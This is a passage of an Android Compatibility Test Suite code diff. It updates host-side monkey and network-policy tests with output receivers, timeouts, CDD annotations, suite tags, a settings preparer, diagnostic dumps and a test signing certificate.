+ + " -c android.intent.category.LAUNCHER 5000";
+ CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+ try {
+ mDevice.executeShellCommand(cmd, receiver, MAX_TIMEOUT, TimeUnit.MILLISECONDS, 0);
+ String out = receiver.getOutput();
+ assertTrue(out.contains("cmp=com.android.cts.monkey/.MonkeyActivity"));
+ assertFalse(out.contains("cmp=com.android.cts.monkey/.BaboonActivity"));
+ } finally {
+ receiver.cancel();
+ receiver.clearBuffer();
+ receiver = null;
+ }
- out = mDevice.executeShellCommand(MONKEY_CMD + " -v -p " + PKGS[0]
- + " -c android.intent.category.MONKEY 5000");
- assertFalse(out.contains("cmp=com.android.cts.monkey/.MonkeyActivity"));
- assertTrue(out.contains("cmp=com.android.cts.monkey/.BaboonActivity"));
+ CollectingOutputReceiver receiver2 = new CollectingOutputReceiver();
+ try {
+ mDevice.executeShellCommand(MONKEY_CMD + " -v -p " + PKGS[0]
+ + " -c android.intent.category.MONKEY 5000", receiver2, MAX_TIMEOUT,
+ TimeUnit.MILLISECONDS, 0);
+ String out = receiver2.getOutput();
+ assertFalse(out.contains("cmp=com.android.cts.monkey/.MonkeyActivity"));
+ assertTrue(out.contains("cmp=com.android.cts.monkey/.BaboonActivity"));
+ } finally {
+ receiver2.cancel();
+ receiver2.clearBuffer();
+ receiver2 = null;
+ }
}
+ @CddTest(requirement="6.1/C-0-8")
public void testMultipleCategories() throws Exception {
- String out = mDevice.executeShellCommand(MONKEY_CMD + " -v -p " + PKGS[0]
+ String cmd = MONKEY_CMD + " -v -p " + PKGS[0]
+ " -c android.intent.category.LAUNCHER"
- + " -c android.intent.category.MONKEY 5000");
- assertTrue(out.contains("cmp=com.android.cts.monkey/.MonkeyActivity"));
- assertTrue(out.contains("cmp=com.android.cts.monkey/.BaboonActivity"));
+ + " -c android.intent.category.MONKEY 5000";
+ CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+ try {
+ mDevice.executeShellCommand(cmd, receiver, MAX_TIMEOUT, TimeUnit.MILLISECONDS, 0);
+ String out = receiver.getOutput();
+ assertTrue(out.contains("cmp=com.android.cts.monkey/.MonkeyActivity"));
+ assertTrue(out.contains("cmp=com.android.cts.monkey/.BaboonActivity"));
+ } finally {
+ receiver.cancel();
+ receiver.clearBuffer();
+ receiver = null;
+ }
}
}
diff --git a/hostsidetests/monkey/src/com/android/cts/monkey/MonkeyTest.java b/hostsidetests/monkey/src/com/android/cts/monkey/MonkeyTest.java
index 997f7c6..43f29d8 100644
--- a/hostsidetests/monkey/src/com/android/cts/monkey/MonkeyTest.java
+++ b/hostsidetests/monkey/src/com/android/cts/monkey/MonkeyTest.java
@@ -16,8 +16,11 @@
package com.android.cts.monkey;
+import com.android.ddmlib.NullOutputReceiver;
import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.compatibility.common.util.CddTest;
+
import java.util.Scanner;
public class MonkeyTest extends AbstractMonkeyTest {
@@ -25,14 +28,17 @@
private static final String MONKEY = "@(>.<)@";
private static final String HUMAN = "(^_^)";
+ @CddTest(requirement="6.1/C-0-8")
public void testIsMonkey() throws Exception {
mDevice.executeShellCommand(MONKEY_CMD + " -p " + PKGS[0] + " 500");
assertIsUserAMonkey(true);
}
+ @CddTest(requirement="6.1/C-0-8")
public void testNotMonkey() throws Exception {
mDevice.executeShellCommand("am start -W -a android.intent.action.MAIN "
- + "-n com.android.cts.monkey/com.android.cts.monkey.MonkeyActivity");
+ + "-n com.android.cts.monkey/com.android.cts.monkey.MonkeyActivity",
+ new NullOutputReceiver());
assertIsUserAMonkey(false);
}
diff --git a/hostsidetests/monkey/src/com/android/cts/monkey/PackageTest.java b/hostsidetests/monkey/src/com/android/cts/monkey/PackageTest.java
index 986304c..1dea055 100644
--- a/hostsidetests/monkey/src/com/android/cts/monkey/PackageTest.java
+++ b/hostsidetests/monkey/src/com/android/cts/monkey/PackageTest.java
@@ -16,10 +16,16 @@
package com.android.cts.monkey;
+import com.android.tradefed.device.CollectingOutputReceiver;
+
+import com.android.compatibility.common.util.CddTest;
+
+import java.util.concurrent.TimeUnit;
import java.util.regex.Pattern;
public class PackageTest extends AbstractMonkeyTest {
+ private static final long MAX_TIMEOUT = 5 * 60 * 1000; // 5 min
private static final int MAX_ERROR_LENGTH = 256;
private static final Pattern ALLOW_MONKEY =
Pattern.compile("^.*Allowing.*cmp=com\\.android\\.cts\\.monkey/\\.MonkeyActivity.*$",
@@ -29,24 +35,52 @@
Pattern.compile("^.*Allowing.*cmp=com\\.android\\.cts\\.monkey2/\\.ChimpActivity.*$",
Pattern.MULTILINE);
+ @CddTest(requirement="6.1/C-0-8")
public void testSinglePackage() throws Exception {
- String out = mDevice.executeShellCommand(MONKEY_CMD + " -v -p " + PKGS[0] + " 5000");
- String error = truncateError(out);
- assertTrue("Monkey not found in: " + error, ALLOW_MONKEY.matcher(out).find());
- assertFalse("Chimp found in: " + error, ALLOW_CHIMP.matcher(out).find());
+ String cmd = MONKEY_CMD + " -v -p " + PKGS[0] + " 5000";
+ CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+ try {
+ mDevice.executeShellCommand(cmd, receiver, MAX_TIMEOUT, TimeUnit.MILLISECONDS, 0);
+ String out = receiver.getOutput();
+ String error = truncateError(out);
+ assertTrue("Monkey not found in: " + error, ALLOW_MONKEY.matcher(out).find());
+ assertFalse("Chimp found in: " + error, ALLOW_CHIMP.matcher(out).find());
+ } finally {
+ receiver.cancel();
+ receiver.clearBuffer();
+ receiver = null;
+ }
- out = mDevice.executeShellCommand(MONKEY_CMD + " -v -p " + PKGS[1] + " 5000");
- error = truncateError(out);
- assertFalse("Monkey found in: " + error, ALLOW_MONKEY.matcher(out).find());
- assertTrue("Chimp not found in: " + error, ALLOW_CHIMP.matcher(out).find());
+ String cmd2 = MONKEY_CMD + " -v -p " + PKGS[1] + " 5000";
+ CollectingOutputReceiver receiver2 = new CollectingOutputReceiver();
+ try {
+ mDevice.executeShellCommand(cmd2, receiver2, MAX_TIMEOUT, TimeUnit.MILLISECONDS, 0);
+ String out = receiver2.getOutput();
+ String error = truncateError(out);
+ assertFalse("Monkey found in: " + error, ALLOW_MONKEY.matcher(out).find());
+ assertTrue("Chimp not found in: " + error, ALLOW_CHIMP.matcher(out).find());
+ } finally {
+ receiver2.cancel();
+ receiver2.clearBuffer();
+ receiver2 = null;
+ }
}
+ @CddTest(requirement="6.1/C-0-8")
public void testMultiplePackages() throws Exception {
- String out = mDevice.executeShellCommand(MONKEY_CMD + " -v -p " + PKGS[0]
- + " -p " + PKGS[1] + " 5000");
- String error = truncateError(out);
- assertTrue("Monkey not found in: " + error, ALLOW_MONKEY.matcher(out).find());
- assertTrue("Chimp not found in: " + error, ALLOW_CHIMP.matcher(out).find());
+ String cmd = MONKEY_CMD + " -v -p " + PKGS[0] + " -p " + PKGS[1] + " 5000";
+ CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+ try {
+ mDevice.executeShellCommand(cmd, receiver, MAX_TIMEOUT, TimeUnit.MILLISECONDS, 0);
+ String out = receiver.getOutput();
+ String error = truncateError(out);
+ assertTrue("Monkey not found in: " + error, ALLOW_MONKEY.matcher(out).find());
+ assertTrue("Chimp not found in: " + error, ALLOW_CHIMP.matcher(out).find());
+ } finally {
+ receiver.cancel();
+ receiver.clearBuffer();
+ receiver = null;
+ }
}
private static final String truncateError(String input) {
diff --git a/hostsidetests/monkey/src/com/android/cts/monkey/SeedTest.java b/hostsidetests/monkey/src/com/android/cts/monkey/SeedTest.java
index a0016e2..973e986 100644
--- a/hostsidetests/monkey/src/com/android/cts/monkey/SeedTest.java
+++ b/hostsidetests/monkey/src/com/android/cts/monkey/SeedTest.java
@@ -25,7 +25,9 @@
String out1 = mDevice.executeShellCommand(cmd1);
String out2 = mDevice.executeShellCommand(cmd1);
assertOutputs(out1, out2);
+ }
+ public void testSeed2() throws Exception {
String cmd2 = MONKEY_CMD + " -s 3007 -v -p " + PKGS[0] + " 125";
String out3 = mDevice.executeShellCommand(cmd2);
String out4 = mDevice.executeShellCommand(cmd2);
diff --git a/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.mk b/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.mk
index 573b488..868a3bd 100644
--- a/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.mk
+++ b/hostsidetests/monkey/test-apps/CtsMonkeyApp/Android.mk
@@ -31,6 +31,6 @@
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.mk b/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.mk
index 22c8bf3..150d0b6 100644
--- a/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.mk
+++ b/hostsidetests/monkey/test-apps/CtsMonkeyApp2/Android.mk
@@ -31,6 +31,6 @@
LOCAL_DEX_PREOPT := false
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/multiuser/Android.mk b/hostsidetests/multiuser/Android.mk
index ec18912..9827ca7 100644
--- a/hostsidetests/multiuser/Android.mk
+++ b/hostsidetests/multiuser/Android.mk
@@ -27,7 +27,7 @@
LOCAL_CTS_TEST_PACKAGE := android.host.multiuser
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/net/Android.mk b/hostsidetests/net/Android.mk
index 1c3f053..7270580 100644
--- a/hostsidetests/net/Android.mk
+++ b/hostsidetests/net/Android.mk
@@ -26,7 +26,7 @@
LOCAL_CTS_TEST_PACKAGE := android.net.hostsidenetwork
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/net/AndroidTest.xml b/hostsidetests/net/AndroidTest.xml
index ad7f81b..4a2e2e3 100644
--- a/hostsidetests/net/AndroidTest.xml
+++ b/hostsidetests/net/AndroidTest.xml
@@ -15,6 +15,7 @@
-->
<configuration description="Config for CTS net host test cases">
<option name="config-descriptor:metadata" key="component" value="networking" />
+ <target_preparer class="com.android.cts.net.NetPolicyTestsPreparer" />
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsHostsideNetworkTests.jar" />
<option name="runtime-hint" value="3m56s" />
diff --git a/hostsidetests/net/app/Android.mk b/hostsidetests/net/app/Android.mk
old mode 100644
new mode 100755
index b1a4494..127ef32
--- a/hostsidetests/net/app/Android.mk
+++ b/hostsidetests/net/app/Android.mk
@@ -24,8 +24,6 @@
LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner ub-uiautomator \
CtsHostsideNetworkTestsAidl
-LOCAL_JAVA_LIBRARIES := android.test.runner
-
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_PACKAGE_NAME := CtsHostsideNetworkTestsApp
@@ -34,6 +32,6 @@
LOCAL_DEX_PREOPT := false
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/net/app/AndroidManifest.xml b/hostsidetests/net/app/AndroidManifest.xml
index 0598a3b..7466cb8 100644
--- a/hostsidetests/net/app/AndroidManifest.xml
+++ b/hostsidetests/net/app/AndroidManifest.xml
@@ -21,6 +21,8 @@
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
<uses-permission android:name="android.permission.INTERNET"/>
+ <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+ <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
<application>
<uses-library android:name="android.test.runner" />
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java
index c2dce38..f20f1d1 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractDozeModeTestCase.java
@@ -129,7 +129,7 @@
public void testBackgroundNetworkAccess_enabledButWhitelistedOnNotificationAction()
throws Exception {
- if (!isSupported()) return;
+ if (!isSupported() || isLowRamDevice()) return;
setPendingIntentWhitelistDuration(NETWORK_TIMEOUT_MS);
try {
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
index f3d5d2c..ce56d25 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractRestrictBackgroundNetworkTestCase.java
@@ -26,13 +26,14 @@
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
+import android.app.ActivityManager;
import android.app.Instrumentation;
+import android.app.NotificationManager;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
-import android.content.pm.PackageManager;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.NetworkInfo.DetailedState;
@@ -42,6 +43,7 @@
import android.os.Binder;
import android.os.Bundle;
import android.os.SystemClock;
+import android.provider.Settings;
import android.service.notification.NotificationListenerService;
import android.test.InstrumentationTestCase;
import android.text.TextUtils;
@@ -116,6 +118,7 @@
private MyServiceClient mServiceClient;
private String mDeviceIdleConstantsSetting;
private boolean mSupported;
+ private boolean mIsLocationOn;
@Override
protected void setUp() throws Exception {
@@ -130,20 +133,49 @@
mServiceClient = new MyServiceClient(mContext);
mServiceClient.bind();
mDeviceIdleConstantsSetting = "device_idle_constants";
+ mIsLocationOn = isLocationOn();
+ if (!mIsLocationOn) {
+ enableLocation();
+ }
mSupported = setUpActiveNetworkMeteringState();
Log.i(TAG, "Apps status on " + getName() + ":\n"
+ "\ttest app: uid=" + mMyUid + ", state=" + getProcessStateByUid(mMyUid) + "\n"
+ "\tapp2: uid=" + mUid + ", state=" + getProcessStateByUid(mUid));
+ executeShellCommand("settings get global app_idle_constants");
}
@Override
protected void tearDown() throws Exception {
+ if (!mIsLocationOn) {
+ disableLocation();
+ }
mServiceClient.unbind();
super.tearDown();
}
+ private void enableLocation() throws Exception {
+ Settings.Secure.putInt(mContext.getContentResolver(), Settings.Secure.LOCATION_MODE,
+ Settings.Secure.LOCATION_MODE_SENSORS_ONLY);
+ assertEquals(Settings.Secure.LOCATION_MODE_SENSORS_ONLY,
+ Settings.Secure.getInt(mContext.getContentResolver(),
+ Settings.Secure.LOCATION_MODE));
+ }
+
+ private void disableLocation() throws Exception {
+ Settings.Secure.putInt(mContext.getContentResolver(), Settings.Secure.LOCATION_MODE,
+ Settings.Secure.LOCATION_MODE_OFF);
+ assertEquals(Settings.Secure.LOCATION_MODE_OFF,
+ Settings.Secure.getInt(mContext.getContentResolver(),
+ Settings.Secure.LOCATION_MODE));
+ }
+
+ private boolean isLocationOn() throws Exception {
+ return Settings.Secure.getInt(mContext.getContentResolver(),
+ Settings.Secure.LOCATION_MODE) != Settings.Secure.LOCATION_MODE_OFF;
+ }
+
protected int getUid(String packageName) throws Exception {
return mContext.getPackageManager().getPackageUid(packageName, 0);
}
@@ -353,14 +385,47 @@
Log.w(TAG, "Network status didn't match for expectAvailable=" + expectAvailable
+ " on attempt #" + i + ": " + error + "\n"
+ "Sleeping " + timeoutMs + "ms before trying again");
- SystemClock.sleep(timeoutMs);
+ // No sleep after the last turn
+ if (i < maxTries) {
+ SystemClock.sleep(timeoutMs);
+ }
// Exponential back-off.
timeoutMs = Math.min(timeoutMs*2, NETWORK_TIMEOUT_MS);
}
+ dumpOnFailure();
fail("Invalid state for expectAvailable=" + expectAvailable + " after " + maxTries
+ " attempts.\nLast error: " + error);
}
+ private void dumpOnFailure() throws Exception {
+ dumpAllNetworkRules();
+ Log.d(TAG, "Usagestats dump: " + getUsageStatsDump());
+ executeShellCommand("settings get global app_idle_constants");
+ }
+
+ private void dumpAllNetworkRules() throws Exception {
+ final String networkManagementDump = runShellCommand(mInstrumentation,
+ "dumpsys network_management").trim();
+ final String networkPolicyDump = runShellCommand(mInstrumentation,
+ "dumpsys netpolicy").trim();
+ TextUtils.SimpleStringSplitter splitter = new TextUtils.SimpleStringSplitter('\n');
+ splitter.setString(networkManagementDump);
+ String next;
+ Log.d(TAG, ">>> Begin network_management dump");
+ while (splitter.hasNext()) {
+ next = splitter.next();
+ Log.d(TAG, next);
+ }
+ Log.d(TAG, "<<< End network_management dump");
+ splitter.setString(networkPolicyDump);
+ Log.d(TAG, ">>> Begin netpolicy dump");
+ while (splitter.hasNext()) {
+ next = splitter.next();
+ Log.d(TAG, next);
+ }
+ Log.d(TAG, "<<< End netpolicy dump");
+ }
+
/**
* Checks whether the network is available as expected.
*
@@ -412,6 +477,12 @@
return errors.toString();
}
+ protected boolean isLowRamDevice() {
+ final ActivityManager am = (ActivityManager) mContext.getSystemService(
+ Context.ACTIVITY_SERVICE);
+ return am.isLowRamDevice();
+ }
+
protected String executeShellCommand(String command) throws Exception {
final String result = runShellCommand(mInstrumentation, command).trim();
if (DEBUG) Log.d(TAG, "Command '" + command + "' returned '" + result + "'");
@@ -558,11 +629,15 @@
NetworkInfo info = null;
for (int i = 1; i <= maxTries; i++) {
info = mCm.getActiveNetworkInfo();
- if (info != null) {
+ if (info == null) {
+ Log.v(TAG, "No active network info on attempt #" + i
+ + "; sleeping 1s before polling again");
+ } else if (mCm.isActiveNetworkMetered() != expected) {
+ Log.v(TAG, "Wrong metered status for active network " + info + "; expected="
+ + expected + "; sleeping 1s before polling again");
+ } else {
break;
}
- Log.v(TAG, "No active network info on attempt #" + i
- + "; sleeping 1s before polling again");
Thread.sleep(SECOND_IN_MS);
}
assertNotNull("No active network after " + maxTries + " attempts", info);
@@ -801,16 +876,8 @@
protected void setAppIdle(boolean enabled) throws Exception {
Log.i(TAG, "Setting app idle to " + enabled);
- final String beforeStats = getUsageStatsDump();
executeSilentShellCommand("am set-inactive " + TEST_APP2_PKG + " " + enabled );
- try {
- assertAppIdle(enabled); // Sanity check
- } catch (Throwable e) {
- final String afterStats = getUsageStatsDump();
- Log.d(TAG, "UsageStats before:\n" + beforeStats);
- Log.d(TAG, "UsageStats after:\n" + afterStats);
- throw e;
- }
+ assertAppIdle(enabled); // Sanity check
}
private String getUsageStatsDump() throws Exception {
@@ -825,7 +892,7 @@
&& !str.contains(TEST_PKG) && !str.contains(TEST_APP2_PKG)) {
continue;
}
- if (str.contains("config=")) {
+ if (str.trim().startsWith("config=") || str.trim().startsWith("time=")) {
continue;
}
sb.append(str).append('\n');
@@ -834,7 +901,13 @@
}
protected void assertAppIdle(boolean enabled) throws Exception {
- assertDelayedShellCommand("am get-inactive " + TEST_APP2_PKG, 15, 2, "Idle=" + enabled);
+ try {
+ assertDelayedShellCommand("am get-inactive " + TEST_APP2_PKG, 15, 2, "Idle=" + enabled);
+ } catch (Throwable e) {
+ Log.d(TAG, "UsageStats dump:\n" + getUsageStatsDump());
+ executeShellCommand("settings get global app_idle_constants");
+ throw e;
+ }
}
/**
@@ -868,19 +941,12 @@
* notification actions right after the notification is sent.
*/
protected void registerNotificationListenerService() throws Exception {
- final StringBuilder listeners = new StringBuilder(getNotificationListenerServices());
- if (listeners.length() > 0) {
- listeners.append(":");
- }
- listeners.append(MyNotificationListenerService.getId());
- executeShellCommand("settings put secure enabled_notification_listeners " + listeners);
- final String newListeners = getNotificationListenerServices();
- assertEquals("Failed to set 'enabled_notification_listeners'",
- listeners.toString(), newListeners);
- }
-
- private String getNotificationListenerServices() throws Exception {
- return executeShellCommand("settings get secure enabled_notification_listeners");
+ executeShellCommand("cmd notification allow_listener "
+ + MyNotificationListenerService.getId());
+ final NotificationManager nm = mContext.getSystemService(NotificationManager.class);
+ final ComponentName listenerComponent = MyNotificationListenerService.getComponentName();
+ assertTrue(listenerComponent + " has not been granted access",
+ nm.isNotificationListenerAccessGranted(listenerComponent));
}
protected void setPendingIntentWhitelistDuration(int durationMs) throws Exception {
@@ -916,10 +982,12 @@
// App didn't come to foreground when the activity is started, so try again.
assertForegroundNetworkAccess();
} else {
+ dumpOnFailure();
fail("Network is not available for app2 (" + mUid + "): " + errors[0]);
}
}
} else {
+ dumpOnFailure();
fail("Timed out waiting for network availability status from app2 (" + mUid + ")");
}
} else {
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
index 599a31c..c3962fb 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/DataSaverModeTest.java
@@ -22,6 +22,9 @@
import android.util.Log;
+import com.android.compatibility.common.util.CddTest;
+
+@CddTest(requirement="7.4.7/C-1-1,H-1-1,C-2-1")
public class DataSaverModeTest extends AbstractRestrictBackgroundNetworkTestCase {
private static final String[] REQUIRED_WHITELISTED_PACKAGES = {
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MyNotificationListenerService.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MyNotificationListenerService.java
index 0893511..0132536 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/MyNotificationListenerService.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/MyNotificationListenerService.java
@@ -19,6 +19,7 @@
import android.app.PendingIntent;
import android.app.PendingIntent.CanceledException;
import android.app.RemoteInput;
+import android.content.ComponentName;
import android.os.Bundle;
import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification;
@@ -74,6 +75,11 @@
MyNotificationListenerService.class.getName());
}
+ static ComponentName getComponentName() {
+ return new ComponentName(MyNotificationListenerService.class.getPackage().getName(),
+ MyNotificationListenerService.class.getName());
+ }
+
private static final class PendingIntentSender {
private PendingIntent mSentIntent = null;
private String mReason = null;
diff --git a/hostsidetests/net/app2/Android.mk b/hostsidetests/net/app2/Android.mk
index 706455d..5c0bae1 100644
--- a/hostsidetests/net/app2/Android.mk
+++ b/hostsidetests/net/app2/Android.mk
@@ -30,6 +30,8 @@
LOCAL_DEX_PREOPT := false
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/net/certs/cts-net-app
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/net/certs/README b/hostsidetests/net/certs/README
new file mode 100644
index 0000000..b660a82
--- /dev/null
+++ b/hostsidetests/net/certs/README
@@ -0,0 +1,2 @@
+# Generated with:
+development/tools/make_key cts-net-app '/CN=cts-net-app'
diff --git a/hostsidetests/net/certs/cts-net-app.pk8 b/hostsidetests/net/certs/cts-net-app.pk8
new file mode 100644
index 0000000..1703e4e
--- /dev/null
+++ b/hostsidetests/net/certs/cts-net-app.pk8
Binary files differ
diff --git a/hostsidetests/net/certs/cts-net-app.x509.pem b/hostsidetests/net/certs/cts-net-app.x509.pem
new file mode 100644
index 0000000..a15ff48
--- /dev/null
+++ b/hostsidetests/net/certs/cts-net-app.x509.pem
@@ -0,0 +1,19 @@
+-----BEGIN CERTIFICATE-----
+MIIDAjCCAeqgAwIBAgIJAMhWwIIqr1r6MA0GCSqGSIb3DQEBCwUAMBYxFDASBgNV
+BAMMC2N0cy1uZXQtYXBwMB4XDTE4MDYyMDAyMjAwN1oXDTQ1MTEwNTAyMjAwN1ow
+FjEUMBIGA1UEAwwLY3RzLW5ldC1hcHAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
+ggEKAoIBAQDefOayWQss1E+FQIONK6IhlXhe0BEyHshIrnPOOmuCPa/Svfbnmziy
+hr1KTjaQ3ET/mGShwlt6AUti7nKx9aB71IJp5mSBuwW62A8jvN3yNOo45YV8+n1o
+TrEoMWMf7hQmoOSqaSJ+VFuVms/kPSEh99okDgHCej6rsEkEcDoh6pJajQyUYDwR
+SNAF8SrqCDhqFbZW/LWedvuikCUlNtzuv7/GrcLcsiWEfHv7UOBKpMjLo9BhD1XF
+IefnxImcBQrQGMnE9TLixBiEeX5yauLgbZuxBqD/zsI2TH1FjxTeuJan83kLbqqH
+FgyvPaUjwckAdQPyom7ZUYFnBc0LQ9xzAgMBAAGjUzBRMB0GA1UdDgQWBBRZrBEw
+tAB2WNXj8dQ7ZOuJ34kY5DAfBgNVHSMEGDAWgBRZrBEwtAB2WNXj8dQ7ZOuJ34kY
+5DAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQDeI9AnLW6l/39y
+z96w/ldxZVFPzBRiFIsJsPHVyXlD5vUHZv/ju2jFn8TZSZR5TK0bzCEoVLp34Sho
+bbS0magP82yIvCRibyoyD+TDNnZkNJwjYnikE+/oyshTSQtpkn/rDA+0Y09BUC1E
+N2I6bV9pTXLFg7oah2FmqPRPzhgeYUKENgOQkrrjUCn6y0i/k374n7aftzdniSIz
+2kCRVEeN9gws6CnoMPx0vr32v/JVuPV6zfdJYadgj/eFRyTNE4msd9kE82Wc46eU
+YiI+LuXZ3ZMUNWGY7MK2pOUUS52JsBQ3K235dA5WaU4x8OBlY/WkNYX/eLbNs5jj
+FzLmhZZ1
+-----END CERTIFICATE-----
diff --git a/hostsidetests/net/src/com/android/cts/net/NetPolicyTestsPreparer.java b/hostsidetests/net/src/com/android/cts/net/NetPolicyTestsPreparer.java
new file mode 100644
index 0000000..9b19554
--- /dev/null
+++ b/hostsidetests/net/src/com/android/cts/net/NetPolicyTestsPreparer.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.net;
+
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.targetprep.ITargetCleaner;
+import com.android.tradefed.targetprep.ITargetPreparer;
+
+public class NetPolicyTestsPreparer implements ITargetPreparer, ITargetCleaner {
+ private final static String KEY_PAROLE_DURATION = "parole_duration";
+ private final static String DESIRED_PAROLE_DURATION = "0";
+
+ private boolean mAppIdleConstsUpdated;
+ private String mOriginalAppIdleConsts;
+
+ @Override
+ public void setUp(ITestDevice device, IBuildInfo buildInfo) throws DeviceNotAvailableException {
+ updateParoleDuration(device);
+ LogUtil.CLog.d("Original app_idle_constants: " + mOriginalAppIdleConsts);
+ }
+
+ @Override
+ public void tearDown(ITestDevice device, IBuildInfo buildInfo, Throwable throwable)
+ throws DeviceNotAvailableException {
+ if (mAppIdleConstsUpdated) {
+ executeCmd(device, "settings put global app_idle_constants " + mOriginalAppIdleConsts);
+ }
+ }
+
+ /**
+ * Updates parole_duration with the desired value.
+ */
+ private void updateParoleDuration(ITestDevice device) throws DeviceNotAvailableException {
+ mOriginalAppIdleConsts = executeCmd(device, "settings get global app_idle_constants");
+ String newAppIdleConstants;
+ final String newConstant = KEY_PAROLE_DURATION + "=" + DESIRED_PAROLE_DURATION;
+ if (mOriginalAppIdleConsts == null || "null".equals(mOriginalAppIdleConsts)) {
+ // app_idle_constants is initially empty, so just assign the desired value.
+ newAppIdleConstants = newConstant;
+ } else if (mOriginalAppIdleConsts.contains(KEY_PAROLE_DURATION)) {
+ // app_idle_constants contains parole_duration, so replace it with the desired value.
+ newAppIdleConstants = mOriginalAppIdleConsts.replaceAll(
+ KEY_PAROLE_DURATION + "=\\d+", newConstant);
+ } else {
+ // app_idle_constants didn't have parole_duration, so append the desired value.
+ newAppIdleConstants = mOriginalAppIdleConsts + "," + newConstant;
+ }
+ executeCmd(device, "settings put global app_idle_constants " + newAppIdleConstants);
+ mAppIdleConstsUpdated = true;
+ }
+
+ private String executeCmd(ITestDevice device, String cmd)
+ throws DeviceNotAvailableException {
+ final String output = device.executeShellCommand(cmd).trim();
+ LogUtil.CLog.d("Output for '%s': %s", cmd, output);
+ return output;
+ }
+}
diff --git a/hostsidetests/numberblocking/Android.mk b/hostsidetests/numberblocking/Android.mk
index 42c7169..d57a0d9 100644
--- a/hostsidetests/numberblocking/Android.mk
+++ b/hostsidetests/numberblocking/Android.mk
@@ -21,7 +21,7 @@
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_MODULE := CtsHostsideNumberBlockingTestCases
diff --git a/hostsidetests/numberblocking/app/Android.mk b/hostsidetests/numberblocking/app/Android.mk
